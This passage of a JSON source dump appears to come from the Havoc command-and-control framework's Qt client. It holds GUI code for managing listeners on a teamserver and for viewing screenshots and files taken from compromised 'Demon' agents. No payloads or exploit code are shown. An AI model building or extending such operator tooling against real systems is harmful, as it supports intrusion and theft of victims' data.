\"pushButton_Close\" ) );\n    gridLayout->addWidget( buttonRemove, 1, 2, 1, 1 );\n\n    buttonEdit = new QPushButton( Form );\n    buttonEdit->setObjectName( QString::fromUtf8( \"pushButton_4\" ) );\n    gridLayout->addWidget( buttonEdit, 1, 3, 1, 1 );\n\n    horizontalSpacer_2 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum );\n    gridLayout->addItem( horizontalSpacer_2, 1, 4, 1, 1 );\n\n    horizontalSpacer = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum );\n    gridLayout->addItem( horizontalSpacer, 1, 0, 1, 1 );\n\n    tableWidget = new QTableWidget( Form );\n    if ( tableWidget->columnCount() < 5 )\n        tableWidget->setColumnCount( 5 );\n\n    tableWidget->setHorizontalHeaderItem( 0, new QTableWidgetItem( \"Name\" )     );\n    tableWidget->setHorizontalHeaderItem( 1, new QTableWidgetItem( \"Protocol\" ) );\n    tableWidget->setHorizontalHeaderItem( 2, new QTableWidgetItem( \"Host\" )     );\n    tableWidget->setHorizontalHeaderItem( 3, new QTableWidgetItem( \"PortBind\" ) );\n    tableWidget->setHorizontalHeaderItem( 4, new QTableWidgetItem( \"PortConn\" ) );\n    tableWidget->setHorizontalHeaderItem( 5, new QTableWidgetItem( \"Status\" )   );\n\n    tableWidget->setObjectName( QString::fromUtf8( \"tableWidget\" ) );\n    tableWidget->setMouseTracking( false );\n    tableWidget->setContextMenuPolicy( Qt::ActionsContextMenu );\n    tableWidget->setAutoFillBackground( false );\n    tableWidget->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch );\n    tableWidget->setShowGrid( false );\n    tableWidget->setSortingEnabled( false );\n    tableWidget->setWordWrap( true );\n    tableWidget->setCornerButtonEnabled( true );\n    tableWidget->horizontalHeader()->setVisible( true );\n    tableWidget->horizontalHeader()->setCascadingSectionResizes( false );\n    tableWidget->horizontalHeader()->setHighlightSections( false );\n    tableWidget->verticalHeader()->setVisible( false );\n    tableWidget->setSelectionBehavior( QAbstractItemView::SelectRows );\n    tableWidget->setSelectionMode( QAbstractItemView::SingleSelection );\n    tableWidget->verticalHeader()->setDefaultSectionSize( 12 );\n    tableWidget->setFocusPolicy( Qt::NoFocus );\n\n    gridLayout->addWidget( tableWidget, 0, 0, 1, 6 );\n\n    Form->setWindowTitle( QCoreApplication::translate( \"Form\", \"Listener\", nullptr ) );\n\n    buttonAdd->setText( QCoreApplication::translate(\" Form\", \"Add\", nullptr ) );\n    buttonEdit->setText( QCoreApplication::translate( \"Form\", \"Edit\", nullptr ) );\n    buttonRemove->setText( QCoreApplication::translate( \"Form\", \"Remove\", nullptr ) );\n\n    ButtonsInit();\n    QMetaObject::connectSlotsByName( Form );\n}\n\nvoid HavocNamespace::UserInterface::Widgets::ListenersTable::ButtonsInit()\n{\n    QObject::connect( buttonAdd, &QPushButton::clicked, this, [&]()\n    {\n        auto ListenerDialog = new UserInterface::Dialogs::NewListener( new QDialog );\n        auto ListenerInfo   = MapStrStr();\n\n        /* add custom listeners to it. */\n        for ( const auto& listenerService : HavocX::Teamserver.RegisteredListeners )\n            ListenerDialog->ListenerCustomAdd( listenerService.dump().c_str() );\n\n        ListenerInfo = ListenerDialog->Start( {}, false );\n\n        if ( ListenerDialog->DialogSaved )\n        {\n            if ( ! ListenerInfo.empty() )\n            {\n                auto Package = CreateNewPackage( Util::Packager::Listener::Add, ListenerInfo );\n                HavocX::Connector->SendPackage( &Package );\n            }\n        }\n    } );\n\n    QObject::connect( buttonEdit, &QPushButton::clicked, this, [&]()\n    {\n        if ( tableWidget->selectionModel()->selectedRows().empty() )\n        {\n            MessageBox( \"Listener Error\", \"Select one listener to edit\", QMessageBox::Icon::Critical );\n            return;\n        }\n\n        auto ListenerName   = QString();\n        auto ListenerItem   = Util::ListenerItem{};\n        auto ListenerDialog = ( UserInterface::Dialogs::NewListener* ) nullptr;\n        auto ListenerInfo   = MapStrStr();\n\n        ListenerName = tableWidget->item( tableWidget->currentRow(), 0 )->text();\n\n        for ( auto& listener : HavocX::Teamserver.Listeners )\n        {\n            if ( listener.Name == ListenerName.toStdString() )\n            {\n                ListenerItem = listener;\n                break;\n            }\n        }\n\n        ListenerDialog = new UserInterface::Dialogs::NewListener( new QDialog );\n\n        /* add custom listeners to it. */\n        for ( const auto& listenerService : HavocX::Teamserver.RegisteredListeners )\n            ListenerDialog->ListenerCustomAdd( listenerService.dump().c_str() );\n\n        ListenerInfo = ListenerDialog->Start( ListenerItem, true );\n\n        if ( ListenerDialog->DialogSaved )\n        {\n            if ( ! ListenerInfo.empty() )\n            {\n                auto Package = CreateNewPackage( Util::Packager::Listener::Edit, ListenerInfo );\n                HavocX::Connector->SendPackage( &Package );\n            }\n        }\n\n        delete ListenerDialog;\n    } );\n\n    QObject::connect( buttonRemove,  &QPushButton::clicked, this, [&]()\n    {\n        if ( tableWidget->selectionModel()->selectedRows().empty() )\n        {\n            MessageBox( \"Listener Error\", \"Select one listener to remove\", QMessageBox::Icon::Critical );\n            return;\n        }\n        auto Name = tableWidget->item( tableWidget->currentRow(), 0 )->text().toStdString();\n\n        tableWidget->removeRow( tableWidget->currentRow() );\n        for ( int i = 0; i < HavocX::Teamserver.Listeners.size(); i++ )\n        {\n            if ( HavocX::Teamserver.Listeners[ i ].Name == Name )\n            {\n                HavocX::Teamserver.Listeners.erase( HavocX::Teamserver.Listeners.begin() + i );\n            }\n        }\n\n        auto Info = map<string, string>();\n        Info.insert( { \"Name\", Name } );\n\n        auto Package = CreateNewPackage( Util::Packager::Listener::Remove, Info );\n        HavocX::Connector->SendPackage( &Package );\n    } );\n}\n\nvoid HavocNamespace::UserInterface::Widgets::ListenersTable::ListenerAdd( Util::ListenerItem item ) const\n{\n    for ( auto& listener : HavocX::Teamserver.Listeners )\n    {\n        if ( listener.Name.compare( item.Name ) == 0 )\n        {\n            return;\n        }\n    }\n\n    if ( tableWidget->rowCount() < 1 )\n        tableWidget->setRowCount( 1 );\n    else\n        tableWidget->setRowCount( tableWidget->rowCount() + 1 );\n\n    const bool isSortingEnabled = tableWidget->isSortingEnabled();\n    tableWidget->setSortingEnabled( false );\n\n    auto item_Name     = new QTableWidgetItem();\n    auto item_Protocol = new QTableWidgetItem();\n    auto item_Host     = new QTableWidgetItem();\n    auto item_PortBind = new QTableWidgetItem();\n    auto item_PortConn = new QTableWidgetItem();\n    auto item_Status   = new QTableWidgetItem();\n\n    item_Name->setText( item.Name.c_str() );\n    item_Name->setFlags( item_Name->flags() ^ Qt::ItemIsEditable );\n    item_Name->setTextAlignment( Qt::AlignLeft );\n\n    item_Protocol->setText( item.Protocol.c_str() );\n    item_Protocol->setFlags( item_Protocol->flags() ^ Qt::ItemIsEditable );\n    item_Protocol->setTextAlignment( Qt::AlignLeft );\n\n    if ( item.Protocol == Listener::PayloadSMB.toStdString() )\n    {\n        item_Host->setText( R\"(\\\\.\\pipe\\)\" + any_cast<Listener::SMB>(item.Info).PipeName );\n    }\n    else if ( item.Protocol == Listener::PayloadHTTP.toStdString() || item.Protocol == Listener::PayloadHTTPS.toStdString() )\n    {\n        item_Host->setText( any_cast<Listener::HTTP>( item.Info ).HostBind );\n        item_PortBind->setText( any_cast<Listener::HTTP>( item.Info ).PortBind );\n        if ( any_cast<Listener::HTTP>( item.Info ).PortConn == \"0\" )\n            item_PortConn->setText( any_cast<Listener::HTTP>( item.Info ).PortBind );\n        else\n            item_PortConn->setText( any_cast<Listener::HTTP>( item.Info ).PortConn );\n    }\n    else if ( item.Protocol == Listener::PayloadExternal.toStdString() )\n    {\n        item_Host->setText( any_cast<Listener::External>( item.Info ).Endpoint );\n    }\n    else\n    {\n        auto Host     = QString();\n        auto PortBind = QString();\n        auto PortConn = QString();\n\n        Host     = QString( any_cast<MapStrStr>( any_cast<Listener::Service>( item.Info ) )[ \"Host\" ].c_str() );\n        PortBind = QString( any_cast<MapStrStr>( any_cast<Listener::Service>( item.Info ) )[ \"PortBind\" ].c_str() );\n        PortConn = QString( any_cast<MapStrStr>( any_cast<Listener::Service>( item.Info ) )[ \"PortConn\" ].c_str() );\n\n        item_Host->setText( Host );\n        item_PortBind->setText( PortBind );\n\n        if ( PortConn == \"0\" )\n            item_PortConn->setText( PortBind );\n        else\n            item_PortConn->setText( PortConn );\n    }\n\n    item_Host->setFlags( item_Host->flags() ^ Qt::ItemIsEditable );\n    item_Host->setTextAlignment( Qt::AlignLeft );\n\n    item_PortBind->setFlags( item_PortBind->flags() ^ Qt::ItemIsEditable );\n    item_PortBind->setTextAlignment( Qt::AlignLeft );\n\n    item_PortConn->setFlags( item_PortConn->flags() ^ Qt::ItemIsEditable );\n    item_PortConn->setTextAlignment( Qt::AlignLeft );\n\n    item_Status->setText( item.Status.c_str() );\n    item_Status->setFlags( item_Status->flags() ^ Qt::ItemIsEditable );\n    item_Status->setTextAlignment( Qt::AlignLeft );\n\n    if ( item.Status.compare( \"Online\" ) == 0 )\n    {\n        item_Status->setForeground( QColor( Util::ColorText::Colors::Hex::Green ) );\n    }\n    else if ( item.Status.compare( \"Offline\" ) == 0 )\n    {\n        item_Status->setForeground( QColor( Util::ColorText::Colors::Hex::Red ) );\n    }\n\n    tableWidget->setItem( tableWidget->rowCount() - 1, 0, item_Name );\n    tableWidget->setItem( tableWidget->rowCount() - 1, 1, item_Protocol );\n    tableWidget->setItem( tableWidget->rowCount() - 1, 2, item_Host );\n    tableWidget->setItem( tableWidget->rowCount() - 1, 3, item_PortBind );\n    tableWidget->setItem( tableWidget->rowCount() - 1, 4, item_PortConn );\n    tableWidget->setItem( tableWidget->rowCount() - 1, 5, item_Status );\n\n    tableWidget->setSortingEnabled( isSortingEnabled );\n\n    std::string Protocol = item.Protocol;\n    std::transform( Protocol.begin(), Protocol.end(), Protocol.begin(), ::tolower );\n\n    HavocX::Teamserver.Listeners.push_back( item );\n}\n\nvoid HavocNamespace::UserInterface::Widgets::ListenersTable::setDBManager( HavocSpace::DBManager* dbManager )\n{\n    this->dbManager = dbManager;\n}\n\nUtil::Packager::Package UserInterface::Widgets::ListenersTable::CreateNewPackage( int EventID, map<string, string> Listener ) const\n{\n    Util::Packager::Package ListenerPackage;\n\n    auto Head = Util::Packager::Head_t {\n        .Event = Util::Packager::Listener::Type,\n        .User  = HavocX::Teamserver.User.toStdString(),\n        .Time  = CurrentTime().toStdString(),\n    };\n\n    Util::Packager::Body_t Body;\n\n    auto BodyInfo = QMap<string, string>( Listener );\n\n    Body.SubEvent = EventID;\n    Body.Info     = BodyInfo;\n\n    ListenerPackage.Head = Head;\n    ListenerPackage.Body = Body;\n\n    return ListenerPackage;\n}\n\nvoid UserInterface::Widgets::ListenersTable::ListenerEdit( Util::ListenerItem item ) const\n{\n    for ( int i = 0; i < HavocX::Teamserver.Listeners.size(); i++ )\n    {\n        if ( HavocX::Teamserver.Listeners[ i ].Name == item.Name )\n        {\n            HavocX::Teamserver.Listeners[ i ].Info = item.Info;\n        }\n    }\n}\n\nvoid UserInterface::Widgets::ListenersTable::ListenerRemove( QString ListenerName ) const\n{\n    auto Name = QString();\n\n    if ( ! ListenerName.isEmpty() )\n    {\n        if ( tableWidget->rowCount() > 0 )\n        {\n            for ( int i = 0; i < tableWidget->rowCount(); i++ )\n            {\n                Name = tableWidget->item( i, 0 )->text();\n\n                if ( Name.compare( ListenerName ) == 0 )\n                {\n                    spdlog::debug( \"Remove listener from table\" );\n                    tableWidget->removeRow( i );\n                }\n            }\n        }\n\n        if ( ! HavocX::Teamserver.Listeners.empty() )\n        {\n            for ( int i = 0; i < HavocX::Teamserver.Listeners.size(); i++ )\n            {\n                if ( HavocX::Teamserver.Listeners[ i ].Name == ListenerName.toStdString() )\n                {\n                    spdlog::debug( \"Remove listener from list\" );\n                    HavocX::Teamserver.Listeners.erase( HavocX::Teamserver.Listeners.begin() + i );\n                }\n            }\n        }\n    }\n}\n\nvoid UserInterface::Widgets::ListenersTable::ListenerError( QString ListenerName, QString Error ) const\n{\n    for ( int i = 0; i < tableWidget->rowCount(); i++ )\n    {\n        auto Row = tableWidget->item( i, 0 )->text();\n\n        if ( Row.compare( ListenerName ) == 0 )\n        {\n            for ( int j = 0; j < tableWidget->columnCount(); j++ )\n            {\n                tableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) );\n                tableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Red ) );\n                tableWidget->item( i, j )->setToolTip( Error );\n            }\n\n            tableWidget->item( i, 4 )->setText( \"Offline [\" + Error + \" ]\" );\n        }\n    }\n\n}\n"
  },
  {
    "path": "client/src/UserInterface/Widgets/LootWidget.cc",
    "content": "#include <global.hpp>\n#include <spdlog/spdlog.h>\n\n#include <UserInterface/Widgets/LootWidget.h>\n#include <QGraphicsScene>\n#include <QGraphicsView>\n#include <QGraphicsPixmapItem>\n#include <QLabel>\n#include <QFile>\n#include <QTreeWidgetItem>\n#include <QHeaderView>\n#include <QScrollBar>\n#include <QKeyEvent>\n#include <QGraphicsSceneWheelEvent>\n\n// imagelabel.cpp\nImageLabel::ImageLabel( QWidget* parent ) : QWidget( parent )\n{\n    label      = new QLabel;\n    scrollArea = new QScrollArea( this );\n\n    label->setBackgroundRole( QPalette::Base );\n    label->setSizePolicy( QSizePolicy::Ignored, QSizePolicy::Ignored );\n    label->setScaledContents( true );\n    label->setStyleSheet( \"background-color: #282a36;\\n\"\n                          \"    color: #f8f8f2;\" );\n    label->setPixmap( QPixmap() );\n\n    scrollArea->setBackgroundRole(QPalette::Dark);\n    scrollArea->setWidget( label );\n}\n\nvoid ImageLabel::resizeEvent( QResizeEvent* event )\n{\n    QWidget::resizeEvent( event );\n    resizeImage();\n}\n\nconst QPixmap* ImageLabel::pixmap() const\n{\n    return label->pixmap();\n}\n\nbool ImageLabel::event( QEvent* e )\n{\n    if ( e->type() == e->KeyPress )\n    {\n        auto eventKey = dynamic_cast<QKeyEvent*>( e );\n\n        if ( eventKey->key() == Qt::Key_Control )\n        {\n            // spdlog::info( \"Key_Control pressed\" );\n            key_ctrl = false;\n        }\n    }\n\n    return QWidget::event( e );\n}\n\nvoid ImageLabel::keyReleaseEvent( QKeyEvent* event )\n{\n    if ( event->key() == Qt::Key_Control )\n    {\n        // spdlog::info( \"Key_Control released\" );\n        key_ctrl = true;\n    }\n\n    QWidget::keyReleaseEvent( event );\n}\n\nvoid ImageLabel::wheelEvent( QWheelEvent* ev )\n{\n    // spdlog::info( \"wheelEvent: {}\", ev->angleDelta().y() );\n\n    QWidget::wheelEvent( ev );\n}\n\nvoid ImageLabel::setPixmap( const QPixmap &pixmap )\n{\n    label->setPixmap( pixmap );\n    scrollArea->setWidget( label );\n    resizeImage();\n}\n\nvoid ImageLabel::resizeImage()\n{\n    label->setMinimumSize( size() );\n    label->adjustSize();\n    scrollArea->resize( size() );\n}\n\nLootWidget::LootWidget()\n{\n    if ( objectName().isEmpty() )\n        setObjectName( QString::fromUtf8( \"LootWidget\" ) );\n\n    auto MenuStyle = QString(\n            \"QMenu {\"\n            \"    background-color: #282a36;\"\n            \"    color: #f8f8f2;\"\n            \"    border: 1px solid #44475a;\"\n            \"}\"\n            \"QMenu::separator {\"\n            \"    background: #44475a;\"\n            \"}\"\n            \"QMenu::item:selected {\"\n            \"    background: #44475a;\"\n            \"}\"\n            \"QAction {\"\n            \"    background-color: #282a36;\"\n            \"    color: #f8f8f2;\"\n            \"}\"\n    );\n\n    gridLayout = new QGridLayout( this );\n    gridLayout->setContentsMargins( 0, 0, 0, 0 );\n    gridLayout->setObjectName( QString::fromUtf8( \"gridLayout\" ) );\n    \n    LabelShow = new QLabel( this );\n    LabelShow->setObjectName( QString::fromUtf8( \"LabelShow\" ) );\n\n    gridLayout->addWidget( LabelShow, 0, 3, 1, 1 );\n\n    ComboShow = new QComboBox( this );\n    ComboShow->addItem( QString( \"Screenshots\" ) );\n    ComboShow->addItem( QString( \"Downloads\" ) );\n    ComboShow->setObjectName( QString::fromUtf8( \"ComboShow\" ) );\n    ComboShow->setMinimumSize( QSize( 150, 0 ) );\n\n    gridLayout->addWidget( ComboShow, 0, 4, 1, 1 );\n\n    LabelAgentID = new QLabel( this );\n    LabelAgentID->setObjectName( QString::fromUtf8( \"LabelAgentID\" ) );\n    LabelAgentID->setText( \"AgentID: \" );\n    gridLayout->addWidget( LabelAgentID, 0, 1, 1, 1 );\n\n    ComboAgentID = new QComboBox( this );\n    ComboAgentID->setObjectName( QString::fromUtf8( \"ComboAgentID\" ) );\n    ComboAgentID->setMinimumSize( QSize( 150, 0 ) );\n    gridLayout->addWidget( ComboAgentID, 0, 2, 1, 1 );\n\n    horizontalSpacer = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum );\n    gridLayout->addItem( horizontalSpacer, 0, 0, 1, 1 );\n\n    StackWidget = new QStackedWidget( this );\n    StackWidget->setObjectName( QString::fromUtf8( \"StackWidget\" ) );\n    StackWidget->setContentsMargins( 0, 0, 0, 0 );\n\n    Screenshots = new QWidget();\n    Screenshots->setSizePolicy( QSizePolicy::Ignored, QSizePolicy::Ignored );\n\n    Screenshots->setObjectName( QString::fromUtf8( \"Screenshots\" ) );\n    gridLayout_2 = new QGridLayout( Screenshots );\n    gridLayout_2->setObjectName( QString::fromUtf8( \"gridLayout_2\" ) );\n\n    splitter = new QSplitter( Screenshots );\n    splitter->setObjectName( QString::fromUtf8( \"splitter\" ) );\n    splitter->setOrientation( Qt::Horizontal );\n    splitter->setSizes( QList<int>() << 10 << 200 );\n\n    ScreenshotTable = new QTableWidget( splitter );\n    if ( ScreenshotTable->columnCount() < 2 )\n        ScreenshotTable->setColumnCount( 2 );\n\n    ScreenshotTable->setEnabled( true );\n    ScreenshotTable->setShowGrid( false );\n    ScreenshotTable->setSortingEnabled( false );\n    ScreenshotTable->setWordWrap( true );\n    ScreenshotTable->setCornerButtonEnabled( true );\n    ScreenshotTable->horizontalHeader()->setVisible( true );\n    ScreenshotTable->setSelectionBehavior( QAbstractItemView::SelectRows );\n    ScreenshotTable->setContextMenuPolicy( Qt::CustomContextMenu );\n    ScreenshotTable->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch );\n    ScreenshotTable->verticalHeader()->setVisible(false);\n    ScreenshotTable->verticalHeader()->setStretchLastSection( false );\n    ScreenshotTable->verticalHeader()->setDefaultSectionSize( 12 );\n    ScreenshotTable->setFocusPolicy( Qt::NoFocus );\n    ScreenshotTable->setObjectName( QString::fromUtf8( \"ScreenshotTable\" ) );\n\n    splitter->addWidget( ScreenshotTable );\n\n    ScreenshotImage = new ImageLabel( splitter );\n    ScreenshotImage->setObjectName( QString::fromUtf8( \"ScreenshotImage\" ) );\n\n    splitter->addWidget( ScreenshotImage );\n\n    gridLayout_2->addWidget(splitter, 0, 0, 1, 1);\n\n    StackWidget->addWidget( Screenshots );\n    Downloads = new QWidget();\n    Downloads->setObjectName(QString::fromUtf8(\"Downloads\"));\n    gridLayout_3 = new QGridLayout( Downloads );\n    gridLayout_3->setObjectName(QString::fromUtf8(\"gridLayout_3\"));\n\n    DownloadTable = new QTableWidget( Downloads );\n    if ( DownloadTable->columnCount() < 3 )\n        DownloadTable->setColumnCount( 3 );\n\n    DownloadTable->setEnabled( true );\n    DownloadTable->setShowGrid( false );\n    DownloadTable->setSortingEnabled( false );\n    DownloadTable->setWordWrap( true );\n    DownloadTable->setCornerButtonEnabled( true );\n    DownloadTable->horizontalHeader()->setVisible( true );\n    DownloadTable->setSelectionBehavior( QAbstractItemView::SelectRows );\n    DownloadTable->setContextMenuPolicy( Qt::CustomContextMenu );\n    DownloadTable->horizontalHeader()->setSectionResizeMode( QHeaderView::Stretch );\n    DownloadTable->verticalHeader()->setVisible(false);\n    DownloadTable->verticalHeader()->setStretchLastSection( false );\n    DownloadTable->verticalHeader()->setDefaultSectionSize( 12 );\n    DownloadTable->setFocusPolicy( Qt::NoFocus );\n    DownloadTable->setObjectName( QString::fromUtf8( \"DownloadsTable\" ) );\n\n    gridLayout_3->addWidget( DownloadTable, 0, 0, 1, 1 );\n\n    StackWidget->addWidget( Downloads );\n\n    gridLayout->addWidget( StackWidget, 1, 0, 1, 6 );\n\n    horizontalSpacer_2 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum );\n\n    gridLayout->addItem( horizontalSpacer_2, 0, 5, 1, 1 );\n\n    StackWidget->setCurrentIndex( 0 );\n\n    ScreenshotTable->setHorizontalHeaderItem( 0, new QTableWidgetItem( \"Name\" ) );\n    ScreenshotTable->setHorizontalHeaderItem( 1, new QTableWidgetItem( \"Date\" ) );\n\n    DownloadTable->setHorizontalHeaderItem( 0, new QTableWidgetItem( \"Name\" ) );\n    DownloadTable->setHorizontalHeaderItem( 1, new QTableWidgetItem( \"Size\" ) );\n    DownloadTable->setHorizontalHeaderItem( 2, new QTableWidgetItem( \"Date\" ) );\n\n    LabelShow->setText( \"Show: \" );\n\n    ScreenshotMenu           = new QMenu( this );\n    ScreenshotActionDownload = new QAction( \"Download\" );\n\n    ScreenshotMenu->setStyleSheet( MenuStyle );\n    ScreenshotMenu->addAction( ScreenshotActionDownload );\n\n    connect( this, &QTableWidget::customContextMenuRequested, this, &LootWidget::onScreenshotTableCtx );\n    connect( ScreenshotTable, &QTableWidget::clicked, this, &LootWidget::onScreenshotTableClick );\n    connect( DownloadTable, &QTableWidget::clicked, this, &LootWidget::onDownloadTableClick );\n    connect( splitter, &QSplitter::splitterMoved, ScreenshotImage, &ImageLabel::resizeImage );\n    connect( ComboAgentID, &QComboBox::currentTextChanged, this, &LootWidget::onAgentChange );\n    connect( ComboShow, &QComboBox::currentTextChanged, this, &LootWidget::onShowChange );\n\n    Reload();\n\n    QMetaObject::connectSlotsByName( this );\n}\n\nvoid LootWidget::AddScreenshot( const QString& DemonID, const QString& Name, const QString& Date, const QByteArray& Data )\n{\n    spdlog::info( \"Add Screenshot\" );\n\n    auto Item = LootData{\n        .Type       = LOOT_IMAGE,\n        .AgentID    = DemonID,\n        .Data       = {\n            .Name   = Name,\n            .Date   = Date,\n            .Data   = Data,\n        },\n    };\n\n    LootItems.push_back( Item );\n\n    if ( ComboAgentID->currentText().compare( DemonID ) == 0 || ComboAgentID->currentText().compare( \"[ All ]\" ) == 0 )\n        ScreenshotTableAdd( Name, Date );\n}\n\nvoid LootWidget::AddDownload( const QString &DemonID, const QString &Name, const QString& Size, const QString &Date, const QByteArray &Data )\n{\n    auto Item = LootData{\n        .Type       = LOOT_FILE,\n        .AgentID    = DemonID,\n        .Data       = {\n            .Name = Name,\n            .Date = Date,\n            .Size = Size,\n            .Data = Data,\n        },\n    };\n\n    LootItems.push_back( Item );\n\n    if ( ComboAgentID->currentText().compare( DemonID ) == 0 || ComboAgentID->currentText().compare( \"[ All ]\" ) == 0 )\n        DownloadTableAdd( Name, Size, Date );\n}\n\nvoid LootWidget::Reload()\n{\n    ComboAgentID->clear();\n    ComboAgentID->addItem( \"[ All ]\" );\n\n    for ( auto& Session : HavocX::Teamserver.Sessions )\n        ComboAgentID->addItem( Session.Name );\n\n    // TODO: iterate over table items and free memory\n    ScreenshotTable->setRowCount( 0 );\n    DownloadTable->setRowCount( 0 );\n}\n\nvoid LootWidget::onScreenshotTableClick( const QModelIndex &index )\n{\n    auto DemonID  = ComboAgentID->currentText();\n    auto FileName = ScreenshotTable->item( index.row(), 0 )->text();\n\n    for ( auto& item : LootItems )\n    {\n        if ( DemonID.compare( \"[ All ]\" ) == 0 || DemonID.compare( item.AgentID ) == 0 )\n        {\n            if ( item.Type == LOOT_IMAGE )\n            {\n                if ( item.Data.Name.compare( FileName ) == 0 )\n                {\n                    auto image = QPixmap();\n                    if ( image.loadFromData( item.Data.Data, \"BMP\" ) )\n                    {\n                        ScreenshotImage->setPixmap( image );\n                    }\n                }\n            }\n        }\n    }\n}\n\nvoid LootWidget::onDownloadTableClick( const QModelIndex &index )\n{\n\n}\n\nvoid LootWidget::onAgentChange( const QString& text )\n{\n    ScreenshotImage->setPixmap( QPixmap() );\n\n    // todo: free columns items\n    for ( int i = ScreenshotTable->rowCount(); i >= 0; i-- )\n        ScreenshotTable->removeRow( i );\n\n    for ( auto& item : LootItems )\n    {\n        if ( item.AgentID.compare( text ) == 0 || text.compare( \"[ All ]\" ) == 0 )\n        {\n            switch ( item.Type )\n            {\n                case LOOT_IMAGE:\n                {\n                    ScreenshotTableAdd( item.Data.Name, item.Data.Date );\n                    break;\n                }\n\n                case LOOT_FILE:\n                {\n                    DownloadTableAdd( item.Data.Name, item.Data.Size, item.Data.Date );\n                    break;\n                }\n            }\n        }\n    }\n}\n\nvoid LootWidget::AddSessionSection( const QString& AgentID )\n{\n    for ( int index = 0; index < ComboAgentID->count(); index++ )\n    {\n        if ( ComboAgentID->itemText( index ).compare( AgentID ) == 0 )\n        {\n            return;\n        }\n    }\n\n    ComboAgentID->addItem( AgentID );\n}\n\nvoid LootWidget::onShowChange( const QString& text )\n{\n    if ( text.compare( \"Screenshots\" ) == 0 )\n    {\n        StackWidget->setCurrentIndex( 0 );\n    }\n    else if ( text.compare( \"Downloads\" ) == 0 )\n    {\n        StackWidget->setCurrentIndex( 1 );\n    }\n}\n\nvoid LootWidget::ScreenshotTableAdd( const QString &Name, const QString &Date )\n{\n    for ( int i = 0; i < ScreenshotTable->rowCount(); i++ )\n    {\n        if ( ScreenshotTable->item( i, 0 )->text().compare( Name ) == 0 )\n        {\n            return;\n        }\n    }\n\n    auto item_Name = new QTableWidgetItem( Name );\n    auto item_Date = new QTableWidgetItem( Date );\n\n    item_Name->setTextAlignment( Qt::AlignCenter );\n    item_Name->setFlags( item_Name->flags() ^ Qt::ItemIsEditable );\n\n    item_Date->setTextAlignment( Qt::AlignCenter );\n    item_Date->setFlags( item_Date->flags() ^ Qt::ItemIsEditable );\n\n    ScreenshotTable->rowCount() < 1 ? ScreenshotTable->setRowCount( 1 ) : ScreenshotTable->setRowCount( ScreenshotTable->rowCount() + 1 );\n\n    ScreenshotTable->setItem( ScreenshotTable->rowCount() - 1, 0, item_Name );\n    ScreenshotTable->setItem( ScreenshotTable->rowCount() - 1, 1, item_Date );\n}\n\nvoid LootWidget::DownloadTableAdd( const QString &Name, const QString &Size, const QString &Date )\n{\n    auto item_Name = new QTableWidgetItem( Name );\n    auto item_Size = new QTableWidgetItem( Size );\n    auto item_Date = new QTableWidgetItem( Date );\n\n    item_Name->setTextAlignment( Qt::AlignCenter );\n    item_Name->setFlags( item_Name->flags() ^ Qt::ItemIsEditable );\n\n    item_Size->setTextAlignment( Qt::AlignCenter );\n    item_Size->setFlags( item_Size->flags() ^ Qt::ItemIsEditable );\n\n    item_Date->setTextAlignment( Qt::AlignCenter );\n    item_Date->setFlags( item_Date->flags() ^ Qt::ItemIsEditable );\n\n    DownloadTable->rowCount() < 1 ? DownloadTable->setRowCount( 1 ) : DownloadTable->setRowCount( DownloadTable->rowCount() + 1 );\n\n    DownloadTable->setItem( DownloadTable->rowCount() - 1, 0, item_Name );\n    DownloadTable->setItem( DownloadTable->rowCount() - 1, 1, item_Size );\n    DownloadTable->setItem( DownloadTable->rowCount() - 1, 2, item_Date );\n}\n\nvoid LootWidget::onScreenshotTableCtx( const QPoint &pos )\n{\n    if ( ! ScreenshotTable->itemAt( pos ) )\n        return;\n\n    ScreenshotMenu->popup( ScreenshotTable->horizontalHeader()->viewport()->mapToGlobal( pos ) );\n}\n"
  },
  {
    "path": "client/src/UserInterface/Widgets/ProcessList.cc",
    "content": "#include <UserInterface/Widgets/ProcessList.hpp>\n#include <UserInterface/Widgets/DemonInteracted.h>\n#include <QClipboard>\n\nvoid HavocNamespace::UserInterface::Widgets::ProcessList::setupUi(QWidget *Widget) {\n    this->ProcessListWidget = Widget;\n\n    QString MenuStyle = \"QMenu {\\n\"\n                        \"    background-color: #282a36;\\n\"\n                        \"    color: #f8f8f2;\\n\"\n                        \"    border: 1px solid #44475a;\\n\"\n                        \"}\\n\"\n                        \"\\n\"\n                        \"QMenu::separator {\\n\"\n                        \"    background: #44475a;\\n\"\n                        \"}\\n\"\n                        \"\\n\"\n                        \"QMenu::item:selected {\\n\"\n                        \"    background: #44475a;\\n\"\n                        \"}\\n\"\n                        \"\\n\"\n                        \"QAction {\\n\"\n                        \"    background-color: #282a36;\\n\"\n                        \"    color: #f8f8f2;\\n\"\n                        \"}\";\n\n\n    if (this->ProcessListWidget->objectName().isEmpty())\n        this->ProcessListWidget->setObjectName(QString::fromUtf8(\"ProcessListWidget\"));\n    this->ProcessListWidget->resize(1012, 535);\n    gridLayout = new QGridLayout(this->ProcessListWidget);\n    gridLayout->setObjectName(QString::fromUtf8(\"gridLayout\"));\n    splitter = new QSplitter(this->ProcessListWidget);\n    splitter->setObjectName(QString::fromUtf8(\"splitter\"));\n    splitter->setOrientation(Qt::Horizontal);\n    ProcessTree = new QTreeWidget(splitter);\n\n    ProcessTree->setObjectName(QString::fromUtf8(\"ProcessTree\"));\n    ProcessTree->setAnimated(false);\n    ProcessTree->header()->setVisible(false);\n    ProcessTree->setContextMenuPolicy(Qt::CustomContextMenu);\n    ProcessTree->setStyleSheet(\n                               \"QTreeView::branch:has-siblings:!adjoins-item {\\n\"\n                               \"    border-image: url(:/treewidget/vline) 0;\\n\"\n                               \"}\\n\"\n                               \"\\n\"\n                               \"QTreeView::branch:has-siblings:adjoins-item {\\n\"\n                               \"    border-image: url(:/treewidget/branch-more) 0;\\n\"\n                               \"}\\n\"\n                               \"\\n\"\n                               \"QTreeView::branch:!has-children:!has-siblings:adjoins-item {\\n\"\n                               \"    border-image: url(:/treewidget/branch-end) 0;\\n\"\n                               \"}\\n\"\n                               \"\\n\"\n                               